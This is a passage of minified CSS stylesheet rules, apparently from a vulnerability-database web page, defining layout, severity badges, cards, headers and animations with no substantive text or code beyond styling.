0}p:first-child{margin-top:0}p:last-child{margin-bottom:0}strong{font-weight:500}em{font-style:italic}hr{background-color:#d3d3d9;border:none;display:block;height:1px}ol{margin:0;padding:0 0 0 1em;list-style:decimal;font-feature-settings:\"pnum\"}ol li{margin:8px 0}ul{margin:0;padding:0 0 0 1em;list-style:disc;font-feature-settings:\"pnum\"}ul li{margin:8px 0}.footnote{font-style:italic;color:#727184;font-size:.875rem}img{max-width:100%}code{background-color:rgba(85,84,99,.1);border-radius:4px;font-family:\"Consolas\",\"Monaco\",\"Andale Mono\",\"Ubuntu Mono\",monospace;font-feature-settings:\"pnum\";font-variant:proportional-nums;font-size:90%;padding:2px 4px;white-space:pre}p code{white-space:pre-wrap}@media only percy{.hide-in-percy{display:none!important}}.table{margin-bottom:12px;width:auto}.table tr{border:none}.table td,.table th{font-size:1rem;letter-spacing:0;line-height:1.65;text-transform:none;color:#555463;padding:0;vertical-align:top}.table th{font-weight:500}.table--basic th{text-align:left}.table--basic td,.table--basic th{padding-right:12px}.table--small td,.table--small th{font-size:.875rem}.shake-horizontal{animation:shake-horizontal .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-horizontal{0%,to{transform:translateX(0)}10%,30%,50%,70%{transform:translateX(-10px)}20%,40%,60%{transform:translateX(10px)}80%{transform:translateX(8px)}90%{transform:translateX(-8px)}}.shake-horizontal-subtle{animation:shake-horizontal-subtle .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-horizontal-subtle{0%,to{transform:translateX(0)}10%,30%,50%,70%{transform:translateX(-4px)}20%,40%,60%{transform:translateX(4px)}80%{transform:translateX(2px)}90%{transform:translateX(-2px)}}.shake-vertical{animation:shake-vertical .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-vertical{0%,to{transform:translateY(0)}10%,30%,50%,70%{transform:translateY(-8px)}20%,40%,60%{transform:translateY(8px)}80%{transform:translateY(6.4px)}90%{transform:translateY(-6.4px)}}.shake-vertical-subtle{animation:shake-vertical-subtle .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-vertical-subtle{0%,to{transform:translateY(0)}10%,30%,50%,70%{transform:translateY(-2px)}20%,40%,60%{transform:translateY(2px)}80%{transform:translateY(1.6px)}90%{transform:translateY(-1.6px)}}.vue--site-header,[data-vue=site-header]{min-height:64px;background:linear-gradient(90deg,#7530a6 0,#461d9f 50%)}\n.nuxt-progress{position:fixed;top:0;left:0;right:0;height:2px;width:0;opacity:1;transition:width .1s,opacity .4s;background-color:#000;z-index:999999}.nuxt-progress.nuxt-progress-notransition{transition:none}.nuxt-progress-failed{background-color:red}\n.page[data-v-0fde60d6]{background:#fff}main[data-v-0fde60d6]{display:flex;flex-direction:column;min-height:calc(100vh - 145px)}\n.site-header .site-header__container[data-v-7e36a2d2]{align-items:center;height:4rem;display:flex}.site-header .site-header__container .title-link[data-v-7e36a2d2]{align-items:center;display:flex}.site-header .site-header__container .dropdown-links[data-v-7e36a2d2]{display:none;margin-left:auto;color:#1c1c21}.site-header .site-header__container .dropdown-links li[data-v-7e36a2d2]{line-height:2rem;min-width:11.25rem;padding:0 10px;color:#383f76}.site-header .site-header__container .dropdown-links li[data-v-7e36a2d2] :hover{border-radius:6px;background:rgba(20,93,235,.1);text-decoration:none;font-weight:500}.site-header .site-header__link[data-v-7e36a2d2],.site-header .site-header__link[data-v-7e36a2d2]:hover{color:#1c1c21;display:none;margin-left:1em}@media only screen and (min-width:26.25em){.site-header .site-header__container .dropdown-links[data-v-7e36a2d2],.site-header .site-header__link[data-v-7e36a2d2],.site-header .site-header__link[data-v-7e36a2d2]:hover{display:block}}\n.vue--layout-container[data-v-43af9ae8]{max-width:1440px;margin-left:auto;margin-right:auto;padding-left:20px;padding-right:20px}\na.vue--anchor[data-v-ce2707d6]{color:#4b45a1;cursor:pointer;text-decoration:none;transition:opacity .25s ease-in-out}a.vue--anchor[data-v-ce2707d6]:focus,a.vue--anchor[data-v-ce2707d6]:hover{color:#4b45a1;text-decoration:underline}a.vue--anchor--cta[data-v-ce2707d6]{color:#157575}a.vue--anchor--cta[data-v-ce2707d6]:focus,a.vue--anchor--cta[data-v-ce2707d6]:hover{color:#157575;text-decoration:underline}a.vue--anchor--inverted[data-v-ce2707d6]{color:#fff;opacity:.8;text-decoration:underline}a.vue--anchor--inverted[data-v-ce2707d6]:focus,a.vue--anchor--inverted[data-v-ce2707d6]:hover{color:#fff;opacity:1}a.vue--anchor--plain[data-v-ce2707d6],a.vue--anchor--plain[data-v-ce2707d6]:focus,a.vue--anchor--plain[data-v-ce2707d6]:hover{color:#555463;text-decoration:none}a.vue--anchor--disabled[data-v-ce2707d6]{cursor:default}a.vue--anchor--disabled[data-v-ce2707d6]:hover{text-decoration:none}.vue--anchor__external[data-v-ce2707d6]{line-height:1em;position:relative;top:-.25em;margin-left:4px}.vue--anchor__external[data-v-ce2707d6]  svg{height:.6em!important;width:.6em!important}.vue--anchor__offscreen[data-v-ce2707d6]{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}\n.vue--dropdown-menu[data-v-64b0d6bd]{position:relative}.vue--dropdown-menu__handle[data-v-64b0d6bd]{cursor:pointer}.vue--dropdown-menu__handle.focus-visible[data-v-64b0d6bd],.vue--dropdown-menu__handle[data-v-64b0d6bd]:focus-visible{outline:1px dotted rgba(75,69,161,.75)}.vue--dropdown-menu__menu[data-v-64b0d6bd]{background-color:#fff;border-radius:4px;box-shadow:0 0 17px 6px rgba(0,0,0,.06);display:none;position:absolute;z-index:5}.open .vue--dropdown-menu__menu[data-v-64b0d6bd]{display:inline-block}.vue--dropdown-menu__menu[data-v-64b0d6bd]:focus{background-color:#0c0}.vue--dropdown-menu__menu--secondary[data-v-64b0d6bd]{background:#faf9fa;border-top:1px solid #e4e3e8;border-radius:0 0 4px 4px}.vue--dropdown-menu__menu--primary[data-v-64b0d6bd],.vue--dropdown-menu__menu--secondary[data-v-64b0d6bd]{padding:16px 0}.vue--dropdown-menu--align-right[data-v-64b0d6bd]{justify-content:flex-end}.vue--dropdown-menu--extra-small[data-v-64b0d6bd]{font-size:.75rem}.vue--dropdown-menu--small[data-v-64b0d6bd]{font-size:.8125rem}\n.vue--dropdown-menu-link[data-v-3871f022]{list-style:none;margin:0;white-space:nowrap}.vue--dropdown-menu-link__link[data-v-3871f022]{display:block;padding:4px 24px}.vue--dropdown-menu-link__link[data-v-3871f022]:focus{outline:1px dotted #4b45a1}.vue--dropdown-menu-link--nested[data-v-3871f022]{padding-left:32px}\n.vuln-page__heading-wrapper[data-v-3abfa519]{background-color:#f7fafd}.vuln-page__heading-wrapper .grid-wrapper[data-v-3abfa519]{padding-top:24px}.vuln-page__heading-wrapper .left[data-v-3abfa519]{display:flex;flex-direction:column;justify-content:space-between}.vuln-page__heading-wrapper hr[data-v-3abfa519]{border-bottom:3px solid #bfbfbf}.vuln-page__heading-wrapper hr.severity-low[data-v-3abfa519]{border-color:#86859d}.vuln-page__heading-wrapper hr.severity-medium[data-v-3abfa519]{border-color:#d68100}.vuln-page__heading-wrapper hr.severity-high[data-v-3abfa519]{border-color:#cc4f19}.vuln-page__heading-wrapper hr.severity-critical[data-v-3abfa519]{border-color:#ad1a1a}.vuln-page__heading[data-v-3abfa519]{margin-top:2px}.vuln-page__heading--icon[data-v-3abfa519]{position:relative;top:-4px}.vuln-page__body-wrapper[data-v-3abfa519]{background-color:#fff;padding-bottom:32px;padding-top:32px}.vuln-page__body-wrapper .right[data-v-3abfa519]{top:-56px}.vuln-page__body-wrapper .right.severity-widget[data-v-3abfa519]{top:-139px;width:100%;position:absolute;z-index:1}.vuln-page__info-block__container[data-v-3abfa519]{margin-bottom:32px;display:flex;justify-content:space-between}.vuln-page__instruction-block[data-v-3abfa519]{margin-bottom:32px}.vuln-page__content[data-v-3abfa519]{padding:24px 24px 0}.vuln-page__content[data-v-3abfa519]>:not(:last-child){margin-bottom:24px}.grid-wrapper[data-v-3abfa519]{display:grid;grid-template-columns:repeat(12,[col-start] 1fr);position:relative}.grid-wrapper .left[data-v-3abfa519]{grid-column:col-start/span 7;grid-row:1;min-width:0}.grid-wrapper .right[data-v-3abfa519]{grid-column:col-start 9/span 4;grid-row:1;position:relative;grid-gap:16px;gap:16px;display:flex;flex-direction:column}.subheading[data-v-3abfa519]{display:block}.banner[data-v-3abfa519],.subheading[data-v-3abfa519]{font-size:1.125rem;line-height:1.625rem;font-weight:400;margin-top:12px;margin-bottom:48px}.banner_alert[data-v-3abfa519]{display:flex;align-items:center}.banner_warn[data-v-3abfa519]{margin-right:12px}@media screen and (max-width:720px){.vuln-page__body-wrapper .left[data-v-3abfa519]{margin-top:80px}.grid-wrapper .left[data-v-3abfa519]{grid-column:col-start/span 12;grid-row:1;margin-right:unset}.grid-wrapper .right[data-v-3abfa519]{grid-column:col-start/span 12;grid-row:2;margin-bottom:32px;position:relative;top:unset}.grid-wrapper .right.severity-widget[data-v-3abfa519]{grid-row:1;top:-120px}.vuln-page__heading-wrapper[data-v-3abfa519]{padding-top:0;word-break:break-all}.vuln-page__heading-wrapper .grid-wrapper[data-v-3abfa519]{padding:0;margin-bottom:100px}.vuln-page__heading-wrapper .right[data-v-3abfa519]{background-color:#fff;grid-row:1;padding:16px 20px;margin-bottom:unset}.vuln-page__heading-wrapper .left[data-v-3abfa519]{grid-row:2;padding:24px 24px 0}.subheading[data-v-3abfa519]{margin-bottom:0}}@media screen and (max-width:420px){.vuln-page__info-block__container[data-v-3abfa519]{flex-direction:column}.vuln-page__info-block__container__sharebtn[data-v-3abfa519]{margin-top:16px}}\n.breadcrumbs-with-search[data-v-6aaf7084]{background-color:#f6fafd;display:grid;grid-template-columns:repeat(12,[col-start] 1fr);position:relative;padding-top:24px;word-break:break-all}.breadcrumbs-with-search .left[data-v-6aaf7084]{grid-column:col-start/span 8;grid-row:1;margin-right:78px;max-width:800px}.breadcrumbs-with-search .right[data-v-6aaf7084]{grid-column:col-start 9/span 4;grid-row:1;position:relative}@media screen and (max-width:720px){.breadcrumbs-with-search[data-v-6aaf7084]{padding:0}.breadcrumbs-with-search .left[data-v-6aaf7084]{grid-column:col-start/span 12;grid-row:2;margin-right:unset;padding:16px 20px}.breadcrumbs-with-search .right[data-v-6aaf7084]{grid-column:col-start/span 12;grid-row:1;background:#fff;padding:16px 20px}}\n.vue--breadcrumbs[data-v-4b4b4f2c]{font-size:15px}.vue--breadcrumbs__list[data-v-4b4b4f2c]{display:block;margin:0;padding:0}.vue--breadcrumbs__list-item[data-v-4b4b4f2c]{display:inline-block;list-style-type:none;margin:0}.vue--breadcrumbs__list-item[data-v-4b4b4f2c]:after{content:\"›\";margin:0 8px 0 4px}.vue--breadcrumbs__list-item[data-v-4b4b4f2c]:last-child:after{display:none}\n.warningText[data-v-4dbb44d0]{padding-left:12px;padding-top:4px;color:#9f271e;font-size:12px;margin:0}\n.vue--search-input[data-v-e38673ba]{position:relative}.vue--search-input__field[data-v-e38673ba]{-webkit-appearance:none;background-color:#fff;border:none;border-radius:2px;display:inline-block;line-height:1.75rem;width:100%;box-shadow:inset 0 0 0 1px #d3d3d9;transition:box-shadow .2s ease;padding:8px 46px 8px 42px}.vue--search-input__field[data-v-e38673ba]::-moz-placeholder{color:#727184}.vue--search-input__field[data-v-e38673ba]:-ms-input-placeholder{color:#727184}.vue--search-input__field[data-v-e38673ba]::placeholder{color:#727184}.vue--search-input__field.focus[data-v-e38673ba],.vue--search-input__field.hover[data-v-e38673ba],.vue--search-input__field[data-v-e38673ba]:focus,.vue--search-input__field[data-v-e38673ba]:hover{box-shadow:inset 0 0 0 1px #4b45a1}.vue--search-input__field[data-v-e38673ba]::-webkit-search-cancel-button,.vue--search-input__field[data-v-e38673ba]::-webkit-search-decoration{display:none}.vue--search-input__field[data-v-e38673ba]:disabled,.vue--search-input__field[disabled][data-v-e38673ba]{background-color:#f4f4f6;box-shadow:inset 0 0 0 1px #d3d3d9;border:none;cursor:no-drop;color:#727184;opacity:1}.vue--search-input__search-icon[data-v-e38673ba]{transition:box-shadow .2s ease;position:absolute;left:12px;color:#393842;top:10px}.vue--search-input__search-icon[data-v-e38673ba]  svg{height:26px;width:26px}.vue--search-input__close-icon[data-v-e38673ba]{position:absolute;right:12px;color:#b3b2bd;cursor:pointer;display:none;top:12px}.vue--search-input__close-icon[data-v-e38673ba]  svg{height:21px;width:21px}.vue--search-input__close-icon--show[data-v-e38673ba]{display:block}.vue--search-input--focused .vue--search-input__search-icon[data-v-e38673ba]{color:#4b45a1}.vue--search-input--small .vue--search-input__field[data-v-e38673ba]{line-height:1.375rem}.vue--search-input--small .vue--search-input__close-icon[data-v-e38673ba],.vue--search-input--small .vue--search-input__search-icon[data-v-e38673ba]{top:9px}.vue--search-input--small .vue--search-input__close-icon[data-v-e38673ba]  svg,.vue--search-input--small .vue--search-input__search-icon[data-v-e38673ba]  svg{height:18px;width:18px}.vue--search-input--disabled .vue--search-input__search-icon[data-v-e38673ba]{opacity:.5}\n.vue--heading[data-v-8dd2f746]{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:500;color:#1c1c21;font-feature-settings:\"pnum\"}.vue--heading--regular[data-v-8dd2f746]{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:400}h1.vue--heading[data-v-8dd2f746]{font-size:1.5rem;line-height:1.875rem}h1.vue--heading[data-v-8dd2f746]  svg{height:1.875rem;width:1.875rem}@media only screen and (min-width:45em){h1.vue--heading[data-v-8dd2f746]{font-size:2rem;line-height:2.5rem}h1.vue--heading[data-v-8dd2f746]  svg{height:2.5rem;width:2.5rem}}h2.vue--heading[data-v-8dd2f746]{font-size:1.125rem;line-height:1.5rem}h2.vue--heading[data-v-8dd2f746]  svg{height:1.5rem;width:1.5rem}@media only screen and (min-width:45em){h2.vue--heading[data-v-8dd2f746]{font-size:1.5rem;line-height:2rem}h2.vue--heading[data-v-8dd2f746]  svg{height:2rem;width:2rem}}h3.vue--heading[data-v-8dd2f746]{font-size:.9375rem;line-height:1.5rem}h3.vue--heading[data-v-8dd2f746]  svg{height:1.5rem;width:1.5rem}@media only screen and (min-width:45em){h3.vue--heading[data-v-8dd2f746]{font-size:1.125rem;line-height:1.625rem}h3.vue--heading[data-v-8dd2f746]  svg{height:1.625rem;width:1.625rem}}h4.vue--heading[data-v-8dd2f746]{font-size:.8125rem;line-height:1.3125rem}h4.vue--heading[data-v-8dd2f746]  svg{height:1.3125rem;width:1.3125rem}@media only screen and (min-width:45em){h4.vue--heading[data-v-8dd2f746]{font-size:.9375rem;line-height:1.5rem}h4.vue--heading[data-v-8dd2f746]  svg{height:1.5rem;width:1.5rem}}\n.severity-widget__wrapper[data-v-7e9af804]{align-items:center;border-radius:50%;display:flex;filter:drop-shadow(0 30px 50px rgba(79,75,147,.25));justify-content:center;margin:0 auto;position:relative}.severity-widget__wrapper.big[data-v-7e9af804]{height:170px;width:170px}.severity-widget__wrapper.medium[data-v-7e9af804]{height:110px;width:110px}.severity-widget__wrapper.small[data-v-7e9af804]{height:77px;width:77px}.severity-widget__score[data-v-7e9af804]{font-weight:900;line-height:40px;margin:12px 0}.severity-widget__score.medium[data-v-7e9af804]{font-size:38px}.severity-widget__score.big[data-v-7e9af804]{font-size:48px}.severity-widget__score.small[data-v-7e9af804]{font-size:24px}.severity-widget__score.severity-low[data-v-7e9af804]{color:#86859d}.severity-widget__score.severity-medium[data-v-7e9af804]{color:#d68100}.severity-widget__score.severity-high[data-v-7e9af804]{color:#cc4f19}.severity-widget__score.severity-critical[data-v-7e9af804]{color:#ad1a1a}.severity-widget__badge[data-v-7e9af804]{align-items:center;background-color:#fff;border-radius:50%;box-shadow:0 10px 15px rgba(79,75,147,.25);display:flex;flex-direction:column;justify-content:center;position:absolute;z-index:1}.severity-widget__badge.big[data-v-7e9af804]{height:130px;width:130px}.severity-widget__badge.medium[data-v-7e9af804]{height:84px;width:84px}.severity-widget__badge.small[data-v-7e9af804]{height:59px;width:59px}.progress[data-v-7e9af804]{transform:rotate(90deg) rotateY(180deg)}\n.vue--badge[data-v-0f55f474]{border-radius:4px;border:1px solid transparent;color:#fff;display:inline-block;padding:7px 12px;font-size:.8125rem;line-height:1;font-weight:400;background-color:#4b45a1;position:relative}.vue--badge+.vue--badge[data-v-0f55f474]{margin-left:4px}.vue--badge__text[data-v-0f55f474]{position:relative}.vue--badge__icon[data-v-0f55f474]{left:8px;position:absolute;top:5px}.vue--badge__icon[data-v-0f55f474]  svg{height:1.125rem;width:1.125rem}.vue--badge--default[data-v-0f55f474]{background-color:#f4f4f6;border-color:#d3d3d9;color:#646374}.vue--badge--critical-severity[data-v-0f55f474]{background-color:#ad1a1a;border-color:#ad1a1a}.vue--badge--critical-severity.vue--badge--ghost[data-v-0f55f474]{color:#ad1a1a}.vue--badge--high-severity[data-v-0f55f474]{background-color:#cc4f19;border-color:#cc4f19}.vue--badge--high-severity.vue--badge--ghost[data-v-0f55f474]{color:#cc4f19}.vue--badge--medium-severity[data-v-0f55f474]{background-color:#d68100;border-color:#d68100}.vue--badge--medium-severity.vue--badge--ghost[data-v-0f55f474]{color:#d68100}.vue--badge--low-severity[data-v-0f55f474]{background-color:#86859d;border-color:#86859d}.vue--badge--low-severity.vue--badge--ghost[data-v-0f55f474]{color:#86859d}.vue--badge--no-severity[data-v-0f55f474]{background-color:#bfbfbf;border-color:#bfbfbf}.vue--badge--no-severity.vue--badge--ghost[data-v-0f55f474]{color:#bfbfbf}.vue--badge--action[data-v-0f55f474]{background-color:#4b45a1;border-color:#4b45a1}.vue--badge--action.vue--badge--ghost[data-v-0f55f474]{color:#4b45a1}.vue--badge--action-create[data-v-0f55f474]{background-color:#157575;border-color:#157575}.vue--badge--action-create.vue--badge--ghost[data-v-0f55f474]{color:#157575}.vue--badge--complementary-blue[data-v-0f55f474]{background-color:#4b77aa;border-color:#4b77aa}.vue--badge--complementary-blue.vue--badge--ghost[data-v-0f55f474]{color:#4b77aa}.vue--badge--complementary-burgundy[data-v-0f55f474]{background-color:#903;border-color:#903}.vue--badge--complementary-burgundy.vue--badge--ghost[data-v-0f55f474]{color:#903}.vue--badge--social-twitter[data-v-0f55f474]{background-color:#4ca1eb;border-color:#4ca1eb}.vue--badge--social-twitter.vue--badge--ghost[data-v-0f55f474]{color:#4ca1eb}.vue--badge--info[data-v-0f55f474]{background-color:#edecf6;border-color:#938fc7;color:#4b45a1}.vue--badge--info.vue--badge--ghost[data-v-0f55f474]{border-color:#4b45a1}.vue--badge--warning[data-v-0f55f474]{background-color:#fbf2e7;border-color:#e9af6d;color:#a55c09}.vue--badge--warning.vue--badge--ghost[data-v-0f55f474]{border-color:#a55c09}.vue--badge--success[data-v-0f55f474]{background-color:#e8f1f1;border-color:#a1c8c8;color:#136c6c}.vue--badge--success.vue--badge--ghost[data-v-0f55f474]{border-color:#136c6c}.vue--badge--danger[data-v-0f55f474],.vue--badge--error[data-v-0f55f474]{background-color:#f8e8e8;border-color:#e3a1a1;color:#b81414}.vue--badge--danger.vue--badge--ghost[data-v-0f55f474],.vue--badge--error.vue--badge--ghost[data-v-0f55f474]{border-color:#b81414}.vue--badge--inverted[data-v-0f55f474]{background-color:#fff;border-color:#fff;color:#727184}.vue--badge--inverted.vue--badge--ghost[data-v-0f55f474]{background-color:transparent;color:#fff}.vue--badge--selection[data-v-0f55f474]{background-color:#ffc905;border-color:#ebb800;color:#1c1c21}.vue--badge--selection.vue--badge--ghost[data-v-0f55f474]{border-color:#ffc905;color:#1c1c21}.vue--badge--with-icon[data-v-0f55f474]{padding-left:32px}.vue--badge--with-icon.vue--badge--extra-small[data-v-0f55f474]{padding-left:24px}.vue--badge--with-icon.vue--badge--extra-small .vue--badge__icon[data-v-0f55f474]{top:2px}.vue--badge--with-icon.vue--badge--extra-small .vue--badge__icon[data-v-0f55f474]  svg{height:.6875rem;width:.6875rem}.vue--badge--with-icon.vue--badge--small[data-v-0f55f474]{padding-left:28px}.vue--badge--with-icon.vue--badge--small .vue--badge__icon[data-v-0f55f474]{top:2px}.vue--badge--with-icon.vue--badge--small .vue--badge__icon[data-v-0f55f474]  svg{height:.875rem;width:.875rem}.vue--badge--with-icon.vue--badge--large[data-v-0f55f474]{padding-left:40px}.vue--badge--with-icon.vue--badge--large .vue--badge__icon[data-v-0f55f474]{top:7px}.vue--badge--with-icon.vue--badge--large .vue--badge__icon[data-v-0f55f474]  svg{height:1.5rem;width:1.5rem}.vue--badge--with-tooltip[data-v-0f55f474]{padding-right:36px}.vue--badge--with-tooltip .vue--badge__tooltip[data-v-0f55f474]{position:absolute;right:12px;top:6px}.vue--badge--with-tooltip.vue--badge--extra-small[data-v-0f55f474]{padding-right:30px}.vue--badge--with-tooltip.vue--badge--extra-small .vue--badge__tooltip[data-v-0f55f474]{top:2px;right:8px}.vue--badge--with-tooltip.vue--badge--small[data-v-0f55f474]{padding-right:30px}.vue--badge--with-tooltip.vue--badge--small .vue--badge__tooltip[data-v-0f55f474]{top:2px;right:8px}.vue--badge--with-tooltip.vue--badge--large[data-v-0f55f474]{padding-right:42px}.vue--badge--with-tooltip.vue--badge--large .vue--badge__tooltip[data-v-0f55f474]{top:10px;right:16px}.vue--badge--pill[data-v-0f55f474]{border-radius:50px}.vue--badge--uppercase[data-v-0f55f474]{text-transform:uppercase}.vue--badge--ghost[data-v-0f55f474]{background-color:transparent}.vue--badge--extra-small[data-v-0f55f474]{font-size:.5625rem;padding:4px}.vue--badge--extra-small .vue--badge__icon[data-v-0f55f474]{width:1.25rem}.vue--badge--extra-small--w-icon[data-v-0f55f474]{padding-left:1.375rem}.vue--badge--small[data-v-0f55f474]{font-size:.6875rem;padding:4px 8px}.vue--badge--small .vue--badge__icon[data-v-0f55f474]{width:1.25rem}.vue--badge--small--w-icon[data-v-0f55f474]{padding-left:1.375rem}.vue--badge--large[data-v-0f55f474]{font-size:.9375rem;padding:11px 16px}\n.cvss-details__heading[data-v-2048fa3e]{margin-bottom:16px}.cvss-details .no-cvss-alert[data-v-2048fa3e]{margin-bottom:24px;margin-top:8px}.cvss-details .no-cvss-alert.information-outline-icon[data-v-2048fa3e]{color:#938fc7}.cvss-details .details-extra-padding[data-v-2048fa3e]{padding-top:72px}@media screen and (max-width:720px){.details-extra-padding[data-v-2048fa3e]{margin:32px 0;padding-top:1px}}\n.details-box__body[data-v-50201d1d]{padding:24px;font-size:.9375rem}.details-box__body ul[data-v-50201d1d]{padding-left:0;list-style:none}.details-box__body .data-list-items.collapse[data-v-50201d1d]{border-top:1px solid #e4e3e8;margin-bottom:-space(s);margin-top:-space(s)}.details-box__body .data-list-items.collapse .see-all[data-v-50201d1d]{color:#461d9e;line-height:20px;padding:16px 0}\n.vue--card[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#faf9fa;display:flex;flex-direction:column;justify-content:flex-start}.vue--card:not(.vue--card--legacy)+.vue--card[data-v-d6f7b9fc]{margin-top:24px}.vue--card:not(.vue--card--legacy) a .vue--card[data-v-d6f7b9fc]:focus,.vue--card:not(.vue--card--legacy) a .vue--card[data-v-d6f7b9fc]:hover{cursor:pointer}.vue--card:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]{color:#555463;display:block;padding:16px 24px 12px;width:100%}.vue--card:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]:focus,.vue--card:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]:hover{text-decoration:none}.vue--card:not(.vue--card--legacy) .vue--card__anchor:focus .vue--card__anchor-icon[data-v-d6f7b9fc],.vue--card:not(.vue--card--legacy) .vue--card__anchor:hover .vue--card__anchor-icon[data-v-d6f7b9fc]{opacity:1}.vue--card:not(.vue--card--legacy) .vue--card__anchor-icon[data-v-d6f7b9fc]{color:#d3d3d9;opacity:0;transition:opacity .2s ease-in-out}.vue--card:not(.vue--card--legacy) .vue--card__anchor-icon[data-v-d6f7b9fc]  svg{height:20px;width:20px}.vue--card:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]{align-items:center;background-color:#fff;border-radius:4px 4px 0 0;display:flex;justify-content:space-between;position:relative}.vue--card:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{position:relative;top:-1px;margin-right:4px}.vue--card:not(.vue--card--legacy) .vue--card__header h2[data-v-d6f7b9fc]{font-size:1.125rem;font-weight:500}.vue--card:not(.vue--card--legacy) .vue--card__note[data-v-d6f7b9fc]{font-size:.8125rem}.vue--card:not(.vue--card--legacy) .vue--card__intro[data-v-d6f7b9fc]{background-color:#fff;padding:0 24px 12px}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{border-top:1px solid #d3d3d9;height:100%;padding:24px;position:relative}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]:first-child{border-top:none}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]>:first-child{margin-top:0}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]>:last-child{margin-bottom:0}.vue--card:not(.vue--card--legacy) .vue--card__body+.vue--card__alert[data-v-d6f7b9fc]{border-top:none}.vue--card:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc]{font-style:italic;align-items:center;background-color:#fff;border-radius:0 0 4px 4px;border-top:1px solid #d3d3d9;color:#727184;font-size:.8125rem;margin-top:auto;padding:16px 24px}.vue--card:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{display:flex;justify-content:flex-end;align-items:center;background-color:#fff;border-radius:0 0 4px 4px;border-top:1px solid #d3d3d9;margin-top:auto;padding:12px 24px}.vue--card:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{margin-top:0}.vue--card--no-padding:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{padding:0}.vue--card--condensed:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]{padding:12px 12px 10px}.vue--card--condensed:not(.vue--card--legacy) .vue--card__intro[data-v-d6f7b9fc]{padding:0 12px 8px}.vue--card--condensed:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc],.vue--card--condensed:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--condensed:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{padding:12px}.vue--card--warning[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#fbf2e7}.vue--card--warning:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#da7a0b}.vue--card--warning:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#fbf2e7;border-top-color:#e9af6d}.vue--card--warning:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--warning:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#e9af6d}.vue--card--warning:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--danger[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#f8e8e8}.vue--card--danger:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#b81414}.vue--card--danger:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#f8e8e8;border-top-color:#e3a1a1}.vue--card--danger:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--danger:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#e3a1a1}.vue--card--danger:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--cta[data-v-d6f7b9fc]:not(.vue--card--legacy),.vue--card--success[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#e8f1f1}.vue--card--cta:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg,.vue--card--success:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#157575}.vue--card--cta:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#e8f1f1;border-top-color:#a1c8c8}.vue--card--cta:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--cta:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#a1c8c8}.vue--card--cta:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--info[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#edecf6}.vue--card--info:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#4b45a1}.vue--card--info:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#edecf6;border-top-color:#938fc7}.vue--card--info:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--info:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#938fc7}.vue--card--info:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--legacy[data-v-d6f7b9fc],.vue--card--white[data-v-d6f7b9fc]:not(.vue--card--legacy),.vue--card--white:not(.vue--card--legacy) 